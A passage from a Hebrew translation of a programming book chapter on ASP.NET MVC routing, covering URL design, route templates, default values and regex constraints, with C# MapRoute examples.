 ללקוח JSONוניתן גם לספק נתוני ,  מפעולת בקר בקלות רבהJSONאתם יכולים להפיק נתוני 

 מספק לכם מספר כלים נוספים ואפשרויות התאמה Web APIממשק . Web APIבאמצעות 
 .11 בפרק Web APIנרחיב את הדיון על . וניםנוספות לצורך בניית שירותי רשת והפקת נת
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 9פרק 

 )Routing(ניתוב 

Phil Haack 

 

 עיקרי הפרק

  כתובותURL 

 מבוא לניתוב 

 מבט אל מנגנוני הפעולה הפנימיים של מערכת הניתוב 

 אפשרויות ניתוב מתקדמות 

 הרחבה ואוטומציה של הניתוב 

 

מפתחי תוכנה מתנהגים בדקדקנות קיצונית הגובלת באובססיה בכל הנוגע לכתיבת , כידוע
ו מנהלים קרבות עזים על סגנונות כתיבה כמו הזחת קוד ומיקום של סוגריים אנחנ. קוד מקור
 אינו נופל מהלהט שמפגין כהן דת שמפיץ לעתיםומגינים על עמדותינו בלהט ש, מסולסלים
 . את תורתו

בכתובת , ASP.NETקצת מפתיע להיתקל באתרים רבים שנבנים באמצעות , לנוכח הגישה הזו
URLן כדוגמת הכתובת שלהל : 

http://example.com/albums/list.aspx?catid=17313&genreid=33723&page=3 

אך מתרשלים בניסוח של כתובות , מדוע אנחנו מקדישים תשומת לב כה רבה לכתיבת קוד
URL ?בכך שכתובות  אך ראוי להכיר, אולי הדבר אינו נראה לנו חשוב במידה מספקתURL 

 . מי ומקובלמהוות ממשק משתמש אינטרנטי לגיטי

הפרק יעסוק גם .  לוגיות לשיטות פעולה של בקריםURLפרק זה יסייע לכם למפות כתובת 
 עצמאי שמשמש את תשתית APIאשר מהווה ממשק , ASP.NETשל  )Routing(במערכת הניתוב 

ASP.NET MVC בצורה נרחבת לצורך מיפוי של כתובת URL לקריאות לשיטות )method calls .(
ולאחר מכן נבחן את מנגנוני הפעולה ,  משתמשת במערכת הניתובMVC כיצד תחילה נסביר

 . הפנימיים של מערכת זו כרכיב עצמאי של התשתית
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 URLכתובות 
מעודד מפתחים להעניק את , )usability(המומחה לשמישות , )www.useit.com(ייקוב נילסן 'ג

 :לבנייה של כתובות איכותיותומספק את ההנחיות שלהלן , URLתשומת הלב הראויה לכתובות 

  צריך לבחור שם תחום)domain (שקל לזכור ולאיית. 

 הכתובת צריכה להיות קצרה. 

 הכתובת צריכה להיות קלה להקלדה. 

 הכתובת צריכה לשקף את מבנה האתר. 

  כזו שתאפשר למשתמשים לנווט , כלומר". ניתנת לקיצוץ"הכתובת צריכה להיות
 . ע של האתר על ידי השמטת הסיומת של הכתובתלרמות גבוהות בהיררכיית המיד

 יש להשתמש בכתובות עמידות שאינן משתנות . 

 כתובות ASP.NET- וClassic ASP ,JSP ,PHPאינטרנט רבות כגון טכנולוגיות במקובל היה ש
URL כתובת כדוגמת רואים  כאשר, לדוגמה. מיקום פיזי בדיסק משמשות לייצוג

http://example.com/albums/list.aspx , אתם יכולים להיות בטוחים שמבנה התיקיות של
 . List.aspxבשם  שמכילה קובץ albumsהאתר מכיל תיקייה בשם 

 URLבקשה לכתובת . במקרים כאלה קיים קשר ישיר בין הכתובת לבין המבנה הפיזי בדיסק
להפיק אשר מריץ את הקוד שמשויך לקובץ הזה כדי , שכזו מתקבלת על ידי שרת האינטרנט

 . תגובה לבקשה

,  ASP.NET MVCלרבות תשתית , MVCברוב תשתיות האינטרנט שמבוססות על ארכיטקטורת 
בתשתיות אלו נהוג .  לבין מערכת הקבצים כלל אינה רלוונטיתURLההקבלה הזו בין כתובות 

ולא ,  לקריאות לשיטות במחלקהURLליישם גישה שונה אשר מבוססת על מיפוי של כתובות 
 . ום פיזי בדיסקלמיק

מכיוון שהן משמשות  )controllers(בקרים למחלקות אלו נהוג לקרוא , 2כפי שראינו בפרק 
ואילו השיטות , לשליטה באינטראקציה בין הקלט מהמשתמש לבין רכיבים אחרים במערכת

שיטות הפעולה אלו מייצגות את הפעולות . )actions(פעולות שמספקות את התגובה נקראות 
 . קבלות מהמשתמשת שהבקר מסוגל לבצע בתגובה לבקשות שמהשונות

גישה זו עשויה ,  כאמצעי לגישה לקבציםURLלמפתחים שמורגלים להתייחס לכתובות 
מאתר  ,URLע על משמעותן של ראשי התיבות לרגנסו לחשוב , אולם. טבעיתלהיראות לא 

. וא מושג מופשט המשאב, במקרה שלנו. )Uniform Resource Locator( משאבים אחיד
אך באותה מידה המשאב גם יכול להיות תוצאה של קריאה , כמובן שהוא יכול להיות קובץ

 . או משהו שונה לגמרי, לשיטה

URI הם ראשי התיבות של Uniform Resource Identifier - באופן . מזהה משאבים אחיד
 www.w3.org/TR/uri-clarification/#contemporaryבדף . URI היא גם URLכתובת כל , עקרוני

 URI היא סוג של URLכתובת :  הוא מונח שימושי אך לא רשמיURL: " כתובW3Cשל ארגון 
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 נוֹדוֹ-קראיין מֶ". מנגנון הגישה העיקרי שלושמשמשת לזיהוי משאב על סמך ציון 
)www.damnhandy.com (כתובת : "ניסח זאת כךURIאבל כתובת ,  מזהה משאב מסויםURL 

 ". ידע יחודי שמאפשר גישה למשאב הזהמספקת מ

ולא חשוב , ורוב האנשים יבינו למה אתם מתכוונים, יש שיטענו שזהו רק עניין של סמנטיקה
מכיוון שזו תזכורת , MVCיש טעם בדיון הזה כאשר לומדים , עם זאת. באיזה מונח משתמשים

סטטי בדיסק הקשיח  לא מייצגת בהכרח את המיקום הפיזי של קובץ URLטובה לכך שכתובת 
, כעת. ASP.NET MVC ובוודאי שאינה עושה זאת ביישומי -של שרת אינטרנט כלשהו 

 ". URLכתובת "מעתה ואילך נשתמש בספר זה במונח המקובל , כשהמשמעויות ברורות

 מבוא לניתוב
 : מבצעת שתי משימות עיקריותASP.NET MVCבתשתית  )routing(מערכת הניתוב 

  נכנסות שלא ניתנות להתאמה בצורה אחרת לקובץ במערכת התאמה של בקשות
 . ומיפוי הבקשות לפעולות בקר, הקבצים

  בנייה של כתובותURLאשר תואמות לפעולות בקר,  יוצאות . 

 ASP.NETשתי המטרות מהוות ייצוג מלא של תחומי האחריות של הניתוב בהקשר של יישומי 

MVCג אפשרויות ניתוב נוספות שיכולות לשמש במהלך הפרק נעמיק את הדיון ונצי.  בלבד
 .ASP.NETאותנו בעבודה עם 

בהירות בעניין מערכת הניתוב הוא הקשר שלה לתשתית -מקור קבוע לחוסר הערה
ASP.NET MVC .הניתוב היה רכיב מובנה של , לפני גרסת הבטאASP.NET MVC , אולם בצוות

ר מהניתוב על ידי הטמעתו כרכיב הפיתוח של התשתית הבינו שיהיה ניתן להפיק הרבה יות
, לפיכך). Web Pages( כדי שיוכל לשמש גם לבנייה של דפי אינטרנט ASP.NETליבה של 

השם . ASP.NETעצמאי ושולב בליבה של תשתית ) assembly(המנגנון הקיים הוּמָר לרכיב קוד 
 . Routingאך נהוג לכנותו בקיצור , ASP.NET Routingהרשמי של הרכיב הוא 

מערכת הניתוב של "או " ניתוב"מונחים  ל)R-ב" (Routing "נתרגםבהמשך : הערת המתרגם[
ASP.NET" ;ניתובים מסוימים שכותבים אותם באנגלית כאשר נתייחס לו"route) "ב-rרגילה  (

 .]כאשר הכוונה אינה מובנת מההקשר, "כלל ניתוב"או , "ניתוב "תרגם נ-

 NET.היא מהווה כעת חלק מתשתית , ASP.NETית מכיוון שמערכת הניתוב הועברה לתשת
 מופצות ASP.NET MVCבעוד שגרסאות חדשות של ). Windowsולפיכך גם חלק ממערכת (

,  הרחבה היותרNET.עדכוני מערכת הניתוב כפופים ללוח הזמנים של תשתית ,  קרובותלעתים
 . ולכן לא חלו במערכת שינויים רבים במהלך השנים

ובמקרים אלה הוא לא , ASP.NET-מחוץ ל ניתן לאירוח ASP.NET Web APIהשירותים ממשק 
הממשק , כדי להתגבר על הקושי הזה.  באופן ישירASP.NETיכול להשתמש בניתוב של 

הוא , ASP.NETעל  מתארח ASP.NET Web APIכאשר , אולם. משתמש בעותק של קוד הניתוב
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. בליבה ASP.NET Routingניתובים של המשקף את כל ניתובי ממשק תכנות היישומים למערך 
 .ASP.NET Web API במשמעויות של הניתוב עבור  נמשיך ונעסוק11בפרק 

 URLהשוואה בין ניתוב לבין שכתוב 

 URL) URLשכתוב מפתחים רבים משווים אותו ל, כדי להבין טוב יותר את תהליך הניתוב

rewriting( ,יות להפרדה בין בקשות שתי הגישות מספקות טכניקות שימוש, למעשהURL 
בשתי טכניקות אלו גם ניתן להשתמש , כמו כן. נכנסות לבין הדרך שבה בקשות אלו מטופלות

 ). SEO( חיפוש במנועי אתרים קידום ברורות לצורך URLליצירת כתובות 

 URL משמש למיפוי כתובות URLההבדל העיקרי בין שתי הפעולות האלו הוא בכך ששכתוב 
 למיפוי קבוצות ישנות URL קרובות נשתמש בשכתוב לעתים, לדוגמה.  אחרותURLלכתובות 

הינו מיפוי של כתובות , לעומת זה, הניתוב. URL לקבוצה חדשה של כתובות URLשל כתובות 
URLלמשאבים  . 

מייצגת  URLכתובת . URLעבור כתובות  משאבים-ממוקדתאפשר לומר שניתוב מיישם גישה 
המשאב הזה הינו , ASP.NET הניתוב של מערכתמבחינת ).  בהכרח דףשאינו(משאב אינטרנטי 

הניתוב מכתיב כיצד לעבד . קטע קוד שמורץ כאשר הבקשה המתקבלת מותאמת לכלל ניתוב
 .  הוא אינו משכתב אותה- URLאת הבקשה על סמך המאפיינים של הכתובת 

 על סמך URLבות הבדל משמעותי נוסף הוא בכך שמערכת הניתוב משמשת גם להפקת כתו
 משמש אך ורק URLשכתוב .  נכנסותURLאותם כללים שמשמשים אותה למיפוי של כתובות 

 . ואינו משמש בשום צורה להפקת הכתובת המקורית, לעיבוד בקשות נכנסות

אולם ההשוואה הזו , כיווני- דוURL בתור שכתוב ASP.NETאפשר גם לחשוב על הניתוב של 
 אינה משכתבת את הכתובת בשלב כלשהו ASP.NETת הניתוב של מכיוון שמערכ, לא מושלמת
 שנוצרת על ידי המשתמש בדפדפן לצורך הבקשה היא הכתובת URLכתובת . של הפעולה

 . שמשמשת את היישום שלכם בכל מחזור החיים של הבקשה

 הגדרת נתיבים

ול בבקשות  צריך לפחות כלל ניתוב אחד כדי להגדיר את אופן הטיפASP.NET MVCכל יישום 
יישומים מורכבים במיוחד . אולם ברוב המקרים תזדקקו לניתובים אחדים ויותר, ליישום

 . ואפילו יותר, בהחלט עשויים לכלול עשרות ניתובים

אשר , URLהגדרת ניתוב מתחילה עם תבנית . בסעיף זה נלמד כיצד להגדיר כללי ניתוב
כלל הניתוב , URLבנוסף לכתובת . משמשת להגדרת התבנית שלפיה תבוצע התאמת הניתוב

השתמשו ביכולות . יכול להגדיר ערכי ברירת מחדל ואילוצים על חלקים שונים של הכתובת
 נכנסות על ידי URLאלו כדי לשלוט בצורה הדוקה על הטכניקה והעיתוי של התאמת בקשות 

בניתובים נעסוק . אתם יכולים גם לקבוע שם לניתוב בעת הוספתו לאוסף הניתובים. הניתוב
 . בעלי שם בהמשך הפרק
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 . ולאחר מכן נפתֵַח אותו, בסעיפים הבאים נציג את תהליך ההגדרה של כלל ניתוב פשוט

 כתובות ניתוב

 ותוכלו לראות Global.asax.csתבוננו בקוד שבקובץ ה,  חדשASP.NET MVCבעת יצירת יישום 
שיטה זו מבצעת את . RegisterRoutes כוללת קריאה לשיטה בשם Application_Startשהשיטה 

 . App_Start/RouteConfig.cs/~והיא מוגדרת בקובץ , ההרשמה של כל כללי הניתוב ביישום

 בדיקות יחידה של כללי ניתוב

, Application_Start באופן ישיר בתוך השיטה RouteTableבמקום להוסיף כללי ניתוב לטבלה 
 כדי RegisterRoutesה סטטית נפרדת בשם העברנו את הקוד שמשמש להוספת הניתובים לשיט

בצורה זו קל . של כללי הניתוב שלכם) unit test(כניות בדיקות יחידה ולהקל על כתיבת ת
 עם כללי ניתוב זהים לאלה שמוגדרים בקובץ RouteCollectionמאוד לאכלס מופע מקומי של 

Global.asax.cs ,על ידי הוספת הקוד שלהלן לשיטת בדיקת יחידה: 
var routes = new RouteCollection(); 

RouteConfig.RegisterRoutes(routes); 

...הוסיפו כאן את הקוד לבדיקת כללי הניתוב \\  

 . 13בפרק " בדיקת ניתובים"ראו סעיף , למידע נוסף על ביצוע בדיקות יחידה של ניתובים

. ם בניתוב פשוט מאודונחליפ, RegisterRoutesתחילה נמחק את הניתובים הקיימים בשיטה 
 : צריכה להיראות כעת כךRegisterRoutesהשיטה 

public static void RegisterRoutes(RouteCollection routes) 

{ 

 routes.MapRoute("simple", "{first}/{second}/{third}"); 

} 

 עבור URL מקבלת שם של ניתוב ותבנית MapRouteהגרסה הפשוטה ביותר של השיטה 
 . URLאך תחילה נדון בתבנית , נדון בפרמטר השם בהמשך. ובהנית

 שונות URLכתובות ) parse( תוכלו לראות כיצד הניתוב שזה עתה הגדרנו ימיר 9-1בטבלה 
הטבלה נועדה לתת . RouteValueDictionaryלמילון של מילים וערכים שיאוחסנו במופע של 

ידי מערכת הניתוב לנתונים שישמשו  על URLמושג כללי לגבי אופן העיבוד של כתובות 
 . בצינור הבקשהאותנו בשלב מאוחר יותר 

 או, מקטעהמונח  (URL מורכבת ממספר מקטעי RegisterRoutes בקוד השיטה URLתבנית 
segment,  שבכל אחד מהם , )בלי הלוכסנים עצמכם, לכל התווים בין שני לוכסניםמתייחס

 URL) URLפרמטרי הפרמטרים הללו מכונים . לסליםבאמצעות סוגריים מסופרמטר שתָּחוּם 

parameters( . 
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  לערכי פרמטריםURLדוגמאות למיפוי של : 9-1טבלה 

 URLפרמטרי  URLכתובת 
/ albums/display/123 first = "albums" 

second = "display" 

third = "123" 

/foo/bar/baz first = "foo" 

second = "bar" 

third = "baz" 

/a.b/c-d/e-f first = "a.b" 

second = "c-d" 

third = "e-f" 

שמשמש לקביעה אם הניתוב שהגדרנו ) pattern-matching rule(דפוסים -זהו כלל התאמת
מכיוון ,  בעל שלושה מקטעיםURLהכלל מותאם לכל , בדוגמה זו. רלוונטי לבקשה הנכנסת

כאשר הניתוב הזה תואם . ינו ריק ערך שאלכלמותאם , על פי ברירת מחדל, URLשפרמטר 
הטקסט במקטע הראשון של הכתובת מותאם לפרמטר ,  מקטעים בעלת שלושהURLלכתובת 

}first{ , הערך במקטע השני מותאם לפרמטר}second{ , והערך במקטע השלישי מותאם
 .}third{לפרמטר 

ם ניתן להשתמש בתווי(אתם יכולים לקבוע לפרמטרים אלה כמעט כל שם שתרצו 
בכל פעם שבקשה . כפי שניתן לראות בדוגמה האחרונה, )אלפאנומריים ובמספר תווים נוספים

 של הבקשה ומאחסנת את הערכים של URL-מערכת הניתוב מעבדת את ה, מגיעה לשרת
, )RequestContext הנגיש דרך RouteValueDictionaryבאובייקט (פרמטרי הניתוב במילון 

 URLמשמשים כמפתחות והמקטעים התואמים להם בכתובת  URLכאשר השמות של פרמטרי 
 . משמשים כערכים) על פי מיקומם(

בהמשך נציג מספר שמות של פרמטרים בעלי ייעוד מיוחד כאשר הם מופיעים בכללי ניתוב 
 . MVCשל יישומי 

 ערכי ניתוב

הודעת את היישום שלכם יחזיר , 9-1 שבטבלה URL תנסו לשלוח בקשה לכתובות כאשר
למרות שאין מגבלה על שמות הפרמטרים שמשמשים . "File Not Found 404"גיאה שה

 כדי ASP.NET MVCיש שמות של פרמטרים מיוחדים שנדרשים על ידי , להגדרת כללי ניתוב
 . }action{- ו}controller{: לאפשר ניתוב תקין

על פי .  משמש ליצירת מופע של מחלקת בקר לטיפול בבקשה}controller{ערך הפרמטר 
 }controller{ לערך הפרמטר Controller מדביקה את הסיומת MVCית תתש, מחדלהברירת 

שבנוסף גם מיישם את , )תוך הבחנה בין אותיות גדולות וקטנות(ומנסה לאתר טיפוס בשם זה 
 . System.Web.Mvc.IControllerהממשק 
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 : נחזור לדוגמה הפשוטה הקודמת
routes.MapRoute("simple", "{first}/{second}/{third}"); 

 :ונשנה אותה כך
routes.MapRoute("simple", "{controller}/{action}/{id}"); 

 . MVC של הניתוב נושאים את השמות המיוחדים של URLפרמטרי , כעת

. ונעבד אותה באמצעות הניתוב המעודכן, 9-1ניקח לדוגמה את השורה הראשונה בטבלה 
 .albumsבשם )  }controller{ ( כעת בקשה לבקר הינה albums/display/123/לכתובת הבקשה 
 כדי לקבל שם של טיפוס Controller מדביקה לערך הזה את הסיומת ASP.NET MVCתשתית 

)AlbumsController .( אם יש טיפוס בשםAlbumsController אשר מיישם את ממשק IController ,
 .  בו לטיפול בבקשההתשתית תיצור מופע של האובייקט ותשתמש

שימו לב . לציון שיטת הבקר שתשמש לטיפול בבקשה משמש }action{ערך הפרמטר 
שהקריאה לשיטה הזו רלוונטית רק למחלקות בקר שיורשות ממחלקת הבסיס 

System.Web.Mvc.Controller . מחלקות אשר מיישמות אתIController באופן ישיר יכולות 
 . מיפוי כתובות לקוד שישמש לטיפול בבקשהליישם מוסכמות משלהן לצורך 

 אשר תורץ על ידי AlbumsControllerהשיטה של בקר , albums/display/123/בבקשה לכתובת 
MVC היא Display . 

ללא ניתן ,  חוקיURL הינה ניתוב 9-1שימו לב שלמרות שהכתובת השלישית בטבלה 
ליצירת מופע של מחלקת בקר בשם מכיוון שהיא אמורה לגרום , להתאימה לאף בקר ופעולה

a.bController ולקרוא לשיטה בשם c-d ,וזה כמובן אינו שם חוקי של שיטה . 

 יכולים לשמש להעברת פרמטרים }action{ או }controller{כל פרמטרי הניתוב הנוספים שאינם 
 : נניח שישנו הבקר שלהלן, לדוגמה. במידה שהיא אכן מקבלת פרמטרים, לשיטת הפעולה

public class AlbumsController : Controller 

{ 

 public ActionResult Display(int id) 

 { 

  //Do something 

  return View(); 

 } 

} 

 תגרום לתשתית ליצור מופע של מחלקת albums/display/123/שימו לב שהבקשה לנתיב 
 .id מועבר לפרמטר 123כאשר הערך , Displayהבקר ולקרוא לשיטה 

שבה כל מקטע מכיל , }controller}/{action}/{id{בדוגמה הקודמת השתמשנו בתבנית הניתוב 
ניתן ליצור כלל ניתוב . אך קיימות תצורות נוספות של תבניות ניתוב,  אחד ויחידURLפרמטר 

ייתכן ,  באתר קייםMVCאם עלינו להטמיע יישום , לדוגמה. עם ערכים מפורשים בין המקטעים
 : ניתן לעשות זאת באופן הבא. siteהבקשות ישאו את הקידומת שנרצה שכל 

site/{controller}/{action}/{id} 
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כדי " site" חייב להתחיל במילה URLתבנית ניתוב זו מציינת שהמקטע הראשון של כתובת 
,  תותאם לניתובsite/albums/display/123/הכתובת , לדוגמה. שהבקשה תותאם לכלל הניתוב

 .  לא תותאםalbums/display/123/אך הכתובת 

ההגבלה היחידה היא שאסור .  יחידURLניתן גם לשלב פרמטרים וערכים מפורשים במקטע 
 הקוד, לכן.  ברצףURLלמקם שני פרמטרי 

{language}-{country}/{controller}/{action} 

{controller}.{action}.{id} 

 אבל הקוד,  חוקייםURLמייצג ניתובי 
{controller}{action}/{id} 

למערכת הניתוב אין כל דרך לדעת היכן ,  של בקשה נכנסתURLבעת עיבוד . אינו נתיב חוקי
 . מסתיים שם הבקר והיכן מתחיל שם הפעולה

נבחן מספר , URL לבין כתובות URLכדי להבין טוב יותר כיצד מבוצעת ההתאמה בין תבניות 
 ). 9-2טבלה (דוגמאות נוספות 

  ודוגמאותURLניות ניתוב תב: 9-2טבלה 

  תואמותURLכתובות  URLתבניות ניתוב 

{controller}/{action}/{genre} /albums/list/rock 

service/{action}-{format} /service/display-xml 

{report}/{year}/{month}/{day} /sales/2008/1/23 

 ערכי ברירת מחדל

תבנית . URL כדי להתאים להן כתובות URLתבניות עד כה עסקנו בהגדרת ניתובים שמכילים 
ניתן גם להגדיר ערכי ברירת : הניתוב אינה הגורם היחיד שנלקח בחשבון בעת התאמת בקשות

נניח שיש ביישום שלנו שיטת בקר שאינה מקבלת , לדוגמה. מחדל לפרמטרי הניתוב
 :פרמטרים

public class AlbumsController : Controller 

{ 

 public ActionResult List() 

 { 

  //Do something 

  return View(); 

 } 

} 

 :באופן טבעי נקרא לשיטה הזו באמצעות הכתובת הבאה
/albums/list 
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הקריאה לא , }controller}/{action}/{id{הינה תבנית הניתוב שהגדרנו קודם מכיוון ש, עם זאת
בעוד שהכתובת , ה מקטעיםשהרי תבנית זו מותאמת רק לכתובות בעלות שלוש, תצלח

/albums/listכוללת שני מקטעים בלבד  . 

אך עם שני מקטעים , עלינו להגדיר כלל ניתוב חדש שדומה לניתוב שהגדרנו קודם, לכאורה
, האם לא היה עדיף אילו יכולנו להגדיר כלל ניתוב אחד בלבד. }controller}/{action{: בלבד

המקטע השלישי הוא  , של בקשותURLל לכתובות ולציין בצורה כלשהי שבעת התאמת הכל
 ? אופציונלי

מערכת הניתוב מאפשרת לספק ערכי ברירת מחדל למקטעי ! ניתן לעשות זאת, למרבה המזל
 : ניתן להגדיר ניתוב באופן הבא, לדוגמה. הפרמטרים

routes.MapRoute("simple", "{controller}/{action}/{id}", 

 new {id = UrlParameter.Optional}); 

. }id{ משמש להגדרת ערך ברירת המחדל של הפרמטר }id = UrlParameter.Optional{החלק 
, או במילים אחרות.  בכתובתidערך ברירת המחדל מאפשר ללהתאים בקשות ללא מקטע 

במקום לכתובות ,  עם שניים או שלושה מקטעיםURLהניתוב החדש יותאם כעת לכל כתובת 
 . בלבדעם שלושה מקטעים 

: idאפשר להשיג זאת גם על ידי בחירת ערך ברירת מחדל ריק עבור פרמטר  הערה
}id = " "{ .מה ההבדל? אז מדוע לא להשתמש בו, הקוד הזה הרבה יותר תמציתי? 

כאשר , לפיכך.  נשלפים מהכתובת ומאוחסנים במילוןURLכבר נאמר שהערכים של פרמטרי 
 URL בתור ערך ברירת מחדל והכתובת UrlParameter.Optional -אנחנו משתמשים ב

אם נשתמש . מערכת הניתוב אינה מוסיפה כל רשומה למילון, idהמותאמת אינה כוללת מקטע 
מילון הערכים של הניתוב יכיל רשומה בעלת מפתח , במחרוזת ריקה בתור ערך ברירת מחדל

"id "היא מאפשרת להבדיל : הבמקרים מסוימים ההבחנה הזו חשוב. ומחרוזת ריקה בתור הערך
 .  לבין כתובות שמספקות ערך ריקidבין כתובת שאינן מספקות ערך 

זה בדיוק מה . albums/list/ באמצעות הכתובת Listכעת אנחנו יכולים לקרוא לשיטת הפעולה 
 . אך הבה נראה מה עוד אפשר לעשות על ידי הגדרת ערכי ברירת מחדל, שרצינו להשיג

בקטע הקוד שלהלן מוגדר ערך ברירת מחדל גם . ך ברירת מחדל יחידאיננו מוגבלים לער
 : }action{לפרמטר 

routes.MapRoute("simple" 

 , "{controller}/{action}/{id}" 

 , new {id = UrlParameter.Optional, action="index"}); 
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 הגדרת מילון

 ממירה את MapRouteטה השי, ברקע. אנחנו משתמשים כאן בתחביר מקוצר להגדרת מילון
{id=UrlParameter.Optional, action="index"} למופע של המילון RouteValueDictionary , אשר

ואילו הערכים , "action"-ו" id"המפתחות של המילון הם . יוסבר בצורה מעמיקה יותר בהמשך
נטית להמרה של תחביר זה מספק דרך אלג. "index"- וUrlParameter.Optionalהמקבילים הינם 
תוך שימוש בשמות המאפיינים של האובייקט בתור המפתחות של המילון ושל , אובייקט למילון

התחביר הספציפי אשר שימש אותנו בדוגמה האחרונה . ערכי המאפיינים בתור ערכי המילון
בהתחלה זה עשוי להיראות קצת . יוצר טיפוס אנונימי באמצעות תחביר אתחול של האובייקט

 . אבל במהרה תלמדו להעריך את התמציתיות והבהירות של הסגנון הזה,  שגרתיבלתי

 של הכתובת דרך מאפיין }action{ רבדוגמה האחרונה הגדרנו ערך ברירת מחדל עבור הפרמט
 }controller{/}action{ מסוג URLתבנית , במקרים רגילים. Route של המחלקה Defaultsהמילון 

אולם על ידי הגדרת ערך ברירת , מקטעים כדי שתבוצע התאמהמצריכה כתובת בעלת שני 
התאמה של תבנית הניתוב אינה תלויה עוד בהימצאות של שני , מחדל עבור הפרמטר השני
 }controller{פרמטר לאפשר התאמה גם היא מכילה יכולה הכתובת . מקטעים בכתובת הבקשה

ולא ,  יקבע לפי ערך ברירת המחדל}action{הערך של , במקרה זה. }action{פרמטר ללא , בלבד
 .  של הבקשה הנכנסתURL-ישלף מתוך ה

אך הפעם נוסיף גם ערכי ברירת , URL וכתובת URLנחזור כעת לטבלת ההתאמה בין תבניות 
 .9-3כמוצג בטבלה , מחדל למשוואה

  וכתובות תואמותURL תבניות :9-3טבלה 

 תואמות URLכתובות  ערכי ברירת מחדל URLתבנית ניתוב 
{controller}/{action}/{id} new {id = URLParameter 

.Optional} 

/albums/display/123 

/albums/display 

{controller}/{action}/{id} new {controller = 

 "home", 

action = "index", id = 

UrlParameter.Optional} 

/albums/display/123 

/albums/display 

/albums 

/ 

.  האחריםURLך להבין שיש משמעות למיקום של ערך ברירת המחדל ביחס לפרמטרי צרי
ונספק לה ערך ברירת מחדל , }controller}/{action}/{id{ כגון URLבהינתן תבנית , לדוגמה

לא סיפקנו כלל כאילו  הדבר דומה - }id{ מבלי לספק ערך ברירת מחדל עבור }action{עבור 
 ? אבל מדוע, אך בפועל זה חסר טעם, ת הניתוב מתירה ניתוב שכזהמערכ. }action{ערך עבור 

כאשר , נניח שהגדרתם שני כללי ניתוב. הבה נציג דוגמה קצרה, כדי לספק תשובה לשאלה זו
 : }action{ברירת מחדל עבור הפרמטר האמצעי באחד מהם מוגדר ערך 

routes.MapRoute("simple", "{controller}/{action}/{id}", new {action="index "}); 

routes.MapRoute("simple2", "{controller}/{action}"); 
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? לאיזה מכללי הניתוב תותאם הבקשה. albums/rock/כעת נניח שמתקבלת בקשה לכתובת 
נציב , }action{אם היא תותאם לניתוב הראשון מכיוון שסיפקנו ערך ברירת מחדל עבור 

 יוצב דווקא "rock"הערך , ם היא תותאם לניתוב השניוא; "rock" את הערך idבפרמטר 
 ?}action{בפרמטר 

כדי למנוע סוגיות מסוג . ערכית של כתובות-הגדרת הניתובים הזו אינה מאפשרת התאמה חד
מנוע הניתוב משתמש בערך ברירת מחדל מוגדר רק כאשר ערכי ברירת מחדל הוגדרו גם , זה

, }action{אם נרצה להגדיר ערך ברירת מחדל עבור , בדוגמה זו. לכל הפרמטרים הקודמים לו
 . }id{עלינו להגדיר ערך ברירת מחדל גם עבור 

מערכת הניתוב מפרשת ערכי ברירת מחדל בדרך קצת שונה כאשר קיימים ערכים מפורשים 
 : נניח שביישום שלנו מוגדר כלל הניתוב שלהלן. URLבמקטע 

routes.MapRoute("simple", "{controller}-{action}", new {action = "index"}); 

ברור שהבקשה . }action{ - ו}controller{שבין הפרמטרים ) -(שימו לב לערך המפורש 
/albums-listאבל האם הבקשה ,  תותאם לניתוב הזה/albums-סביר להניח ?  תותאם גם כן

 .  די מוזרה למראהURLמכיוון שמדובר בכתובת , שלא

 URL אינה מאפשרת להשמיט ערכי מאפיינים במקטע ASP.NETתוב של מסתבר שמערכת הני
.  של בקשותURLשמכיל ערכים מפורשים בעת התאמת כתובות ) החלק שבין שני לוכסנים(

בנושא זה נעסוק . URLערכי ברירת המחדל משחקים תפקיד בעת הפקת כתובות , במקרה זה
 .  הפרקשבהמשך" URLכיצד מנוע הניתוב מפיק כתובות "בסעיף 

 אילוצי ניתוב 

. מעבר לציון מספר המקטעים, URL נרצה שליטה מדויקת יותר על התאמת כתובות לעתים
 : ת האלווניקח לדוגמה את שתי הכתוב

 http://example.com/2008/01/23/ 

 http://example.com/posts/categories/aspnetmvc/ 

לניתוב הסטנדרטי שהגדרנו עד כה ולפיכך הן תותאמנה , כל כתובת כוללת שלושה מקטעים
 ושיטה בשם 2008Controllerמערכת הניתוב תחפש בקר בשם , אם לא נקפיד. במהלך הפרק

כיצד ניתן . ברור שיש למפות את שתי הכתובות הללו למקומות שונים, במבט חטוף. 01
 ? לעשות זאת

 להחיל ביטוי אילוצים מאפשרים. )constraints(אילוצים בבמצבים כאלה ניתן להשתמש 
)regular expression ( על מקטעURLלדוגמה.  כדי להגביל את ההתאמה של בקשות לניתוב : 

routes.MapRoute("blog", "{year}/{month}/{day}" 

 , new {controller="blog", action="index"} 

 , new {year=@"\d{4}", month=@"\d{2}", day=@"\d{2}"}); 

 

routes.MapRoute("simple", "{controller}/{action}/{id}"); 
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כל אחד . }day{- ו}year{ ,}month{את : URLכלל הניתוב הראשון מכיל שלושה פרמטרי 
שמוגדר באמצעות ) constraints dictionary(מהפרמטרים הללו ממופה לאילוץ במילון האילוצים 

כפי שניתן . year=@"\d{4}", month=@"\d{2}", day=@"\d{2"}}, מאתחל אובייקט אנונימי
האילוץ על , כלומר.  של הניתובURLהמפתחות של מילון האילוצים ממופים לפרמטרי , לראות

 .  ספרות בלבד4ביטוי שמאפשר התאמה של מחרוזות בנות , d{4}/ הוא }year{המקטע 

 NET. של תשתית Regexהפורמט של הביטוי הזה זהה לפורמט שמשמש את המחלקה 
לא מתבצעת , אם אחד מהאילוצים אינו מתקיים). לקה הזו פועלת ברקעולמעשה המח(

 . ומערכת הניתוב ממשיכה לכלל הניתוב הבא, )route(התאמה לכלל הניתוב 

 מכסה את כל d{4}/אתם בוודאי יודעים שהביטוי הרגולרי , אם כבר עבדתם עם ביטויים
 . abc1234defכמו למשל ,  ספרות ברצף4המחרוזות שמכילות 

כדי לוודא שהערך " $ "-ו" ^"מנוע הניתוב תוחם באופן אוטומטי את ביטוי האילוץ בתווים 
, d{4}/ולא , $d{4}/^הביטוי הרגולרי שמופעל הוא , במילים אחרות. יותאם לביטוי במדויק
 .  לא יותאםabc1234defאך הערך ,  יותאם1234כדי להבטיח שהערך 

אך , 2008/05/25/ע הקוד האחרון יותאם לכתובת כלל הניתוב הראשון שהוגדר בקט, לפיכך
 אינה תואמת את הביטוי 08הסיבה לכך היא שהמחרוזת . 08/05/25/לא יותאם לכתובת 

 .{year}ולפיכך אינה מקיימת את האילוץ של הפרמטר , d{4}/הרגולרי 

 מכיוון שכללי הניתוב, הניתוב החדש מופיע בקוד לפני ניתוב ברירת המחדל הפשוט הערה
